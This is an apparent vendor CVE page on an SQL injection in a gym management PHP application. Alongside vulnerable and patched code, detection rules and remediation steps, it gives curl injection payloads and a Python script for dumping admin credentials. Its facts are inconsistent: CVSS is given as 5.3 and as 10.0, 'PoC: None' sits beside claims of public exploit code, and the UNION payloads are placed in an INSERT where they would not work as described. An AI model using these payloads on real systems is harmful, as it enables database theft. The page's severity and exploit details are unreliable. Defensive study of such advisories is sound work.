☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0881

CVE-2025-0881 SQL Injection in Codezips
📅 PUBLISHED: 2025-01-30 20:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0881 is a critical unauthenticated SQL injection vulnerability in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/saveroutine.php file, where the rname parameter is directly concatenated into SQL queries without sanitization or parameterization. This allows remote attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and administrative account takeover. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is available, and the vendor has not responded to disclosure attempts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support and the public availability of exploit details.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): High (H) – Ability to modify or delete data.
  • Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the rname parameter of saveroutine.php. The application likely constructs a SQL query similar to:

INSERT INTO routines (name) VALUES ('$rname');

Without proper input validation or prepared statements, an attacker can inject SQL commands by providing input such as:

' OR '1'='1' -- -

This would result in:

INSERT INTO routines (name) VALUES ('' OR '1'='1' -- -');

The injection can be used to extract data from other tables, modify records, or execute administrative functions. The -- - comment sequence terminates the rest of the query, preventing syntax errors.

The application is written in PHP and uses MySQL as its database backend. The lack of parameterized queries (PDO or MySQLi prepared statements) is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (saveroutine.php):

<?php
$rname = $_POST['rname'];
$sql = "INSERT INTO routines (name) VALUES ('$rname')";
$result = mysqli_query($conn, $sql);
?>

Patched Code (using prepared statements):

<?php
$rname = $_POST['rname'];
$stmt = $conn->prepare("INSERT INTO routines (name) VALUES (?)");
$stmt->bind_param("s", $rname);
$stmt->execute();
?>

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install XAMPP or LAMP stack on a local VM.
  2. Download Codezips Gym Management System 1.0 from a trusted archive (e.g., SourceForge or GitHub mirror).
  3. Extract to web root and configure database connection in config.php.
  4. Import the provided SQL schema.

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -X POST "http://target/dashboard/admin/saveroutine.php" \
    -d "rname=test"
    
  2. Test for SQL injection:

    curl -X POST "http://target/dashboard/admin/saveroutine.php" \
    -d "rname=test' OR '1'='1' -- -"
    
  3. Extract database version:

    curl -X POST "http://target/dashboard/admin/saveroutine.php" \
    -d "rname=test' UNION SELECT @@version -- -"
    
  4. Dump admin credentials:

    curl -X POST "http://target/dashboard/admin/saveroutine.php" \
    -d "rname=test' UNION SELECT username, password FROM admin_users -- -"
    

Automated Exploit (Python):

import requests

target = "http://target/dashboard/admin/saveroutine.php"
payload = "test' UNION SELECT username, password FROM admin_users -- -"

response = requests.post(target, data={"rname": payload})
print(response.text)

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for unusual POST requests to saveroutine.php containing SQL keywords (e.g., UNION, SELECT, OR).
  2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Implement database activity monitoring to detect anomalous queries.

Honeypot Setup:

  • Deploy a decoy instance of the vulnerable application to capture attacker behavior.
  • Log all POST requests to saveroutine.php and analyze payloads.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /dashboard/admin/saveroutine.php with rname parameter containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs.
  • Unusual HTTP response sizes or error messages containing SQL syntax.

File IOCs:

  • Modified saveroutine.php file (if attacker uploads a web shell).
  • New files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

  • Web server logs showing repeated 400 or 500 errors from saveroutine.php.
  • Database logs showing INSERT statements with unexpected values.

Detection Engineering

YARA Rule

rule CVE_2025_0881_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0881"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0881"
    strings:
        $sqli1 = /rname=.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1|--\s*-)/i
        $sqli2 = /rname=.*['\"]\s*(?:OR|AND)\s+['\"]?1['\"]?\s*=\s*['\"]?1['\"]?/i
        $sqli3 = /rname=.*['\"]\s*--\s*-/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt on saveroutine.php
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-0881
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dashboard/admin/saveroutine.php'
        cs-uri-query|contains: 
            - 'rname='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word 'UNION' in routine names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0881 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/dashboard/admin/saveroutine.php";
    http_uri;
    content:"rname=";
    http_client_body;
    pcre:"/rname=.*(?:UNION|SELECT|OR\s+1=1|--)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-0881;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If possible, take the Gym Management System offline until a patch is applied.
  2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting saveroutine.php.
  3. Restrict network access: Limit access to the admin dashboard to trusted IPs only.

Long-Term Fix:

  1. Rewrite the vulnerable code: Replace all dynamic SQL queries with prepared statements (PDO or MySQLi).
  2. Implement input validation: Whitelist allowed characters for the rname parameter.
  3. Upgrade to a supported version: If the vendor releases a patch, apply it immediately. Otherwise, consider migrating to a different gym management solution.

Compromise Assessment:

  • Check database logs for unauthorized queries.
  • Review web server logs for exploitation attempts.
  • Scan for web shells or backdoors in the web root.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always obtain proper authorization before testing systems.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0881/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.